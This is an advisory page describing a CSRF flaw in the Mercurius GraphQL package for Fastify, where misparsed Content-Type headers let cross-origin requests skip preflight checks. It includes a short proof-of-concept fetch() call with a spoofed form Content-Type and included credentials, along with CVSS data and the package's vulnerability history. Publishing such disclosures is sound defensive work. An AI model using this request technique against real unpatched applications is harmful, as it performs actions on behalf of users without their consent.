Mercurius: Incorrect Content-Type parsing can lead to CSRF attack
Summary
A Cross-Site Request Forgery (CSRF) vulnerability was identified in Mercurius versions 16. The issue arises from incorrect parsing of the Content-Type header in requests. Specifically, requests with Content-Type values such as application/x-www-form-urlencoded, multipart/form-data, or text/plain could be misinterpreted as application/json. This misinterpretation bypasses the preflight checks performed by the fetch() API, potentially allowing unauthorized actions to be performed on behalf of an authenticated user.
Impact
An attacker could exploit this vulnerability by crafting a malicious request with a Content-Type that Fastify incorrectly parses as application/json. When such a request is made from a different origin, it bypasses the Cross-Origin Resource Sharing (CORS) protections, leading to a potential CSRF attack. This could result in unauthorized actions being performed on behalf of an authenticated user without their consent.
Proof of Concept
// Server-side Fastify setup
const Fastify = require('fastify');
const mercurius = require('mercurius');
const app = Fastify();
const schema = `
type Query {
hello(name: String): String
}
`;
const resolvers = {
Query: {
hello: (_, { name }) => `Hello ${name || 'World'}!`
}
};
app.register(mercurius, { schema, resolvers });
app.listen(3000, () => {
console.log('Server listening on http://localhost:3000');
});// Malicious client-side code
fetch('http://localhost:3000/graphql', {
method: 'POST',
body: JSON.stringify({ query: '{ hello(name: "attacker") }' }),
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
credentials: 'include'
});In the above example, the malicious request is crafted to exploit the CSRF vulnerability by using a Content-Type that Fastify incorrectly parses as application/json.
Mitigation
To address this vulnerability, CSRF protection has been implemented.
References
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | mercurius | < 16.4.0 | 16.4.0 |
References
- https://github.com/mercurius-js/mercurius/security/advisories/GHSA-v66j-6wwf-jc57
- https://nvd.nist.gov/vuln/detail/CVE-2025-64166
- https://github.com/mercurius-js/mercurius/pull/1187
- https://github.com/mercurius-js/mercurius/commit/962d402ec7a92342f4a1b7f5f04af01776838c3c
- https://github.com/mercurius-js/mercurius
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N- Weakness (CWE)
CWE-352- Platform
- npm
- Package
mercurius- Disclosed
- 05.03.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-v66j-6wwf-jc57 - CC BY 4.0
Vulnerability history: mercurius
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 4
- First → latest
- 12.2021 03.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 1
- Medium 2
- Low 1
Disclosures per year
- 2021: 1
- 2022: 0
- 2023: 1
- 2024: 0
- 2025: 0
- 2026: 2
-
Mercurius: Incorrect Content-Type parsing can lead to CSRF attack this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.